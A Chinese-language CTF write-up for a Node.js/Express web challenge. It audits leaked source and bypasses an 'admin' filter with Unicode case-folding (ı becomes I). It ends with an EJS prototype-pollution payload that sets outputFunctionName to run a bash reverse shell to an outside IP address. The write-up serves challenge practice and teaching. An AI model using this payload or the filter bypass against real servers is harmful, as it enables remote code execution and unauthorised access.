废物的我 区块链也被虐惨了。。。感觉这个区块链tm的就是低配版的pwn,这几天也比较浮躁,没法专心下去去研究区块链,就来重回web,做几道题放松一下。
进入是个登录,随便注册一下,必须要ADMIN才可以。f12看一下,发现存在www.zip泄露,把源码下载下来审计一下,把几个js文件大致扫一下,发现用了ejs,心中一喜。。。再看看index.js:
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({
}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={
'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){
res.end("")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){
res.end("")}
req.session.user.data = clone(req.body);
res.end("");
});
router.get('/info', function (req, res) {
res.render('index',data={
'user':res.outputFunctionName});
})
module.exports = router;
这里对admin进行了正则的过滤:
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
但是发现这里给注册的用户名转了大写,用的toUpperCase():
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
想到了这个函数的一个绕过:
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
因此用ı来绕过,admın即可成功成为ADMIN。
然后就是这个/action了:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){
res.end("")}
req.session.user.data = clone(req.body);
res.end("");
});
很明显的原型链污染,再发现下面还有个/info:
router.get('/info', function (req, res) {
res.render('index',data={
'user':res.outputFunctionName});
})
是outputFunctionName,提示的太明显了,ejs的那个EXP直接打:
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.31.168.198/39543 0>&1\"');var __tmp2"}}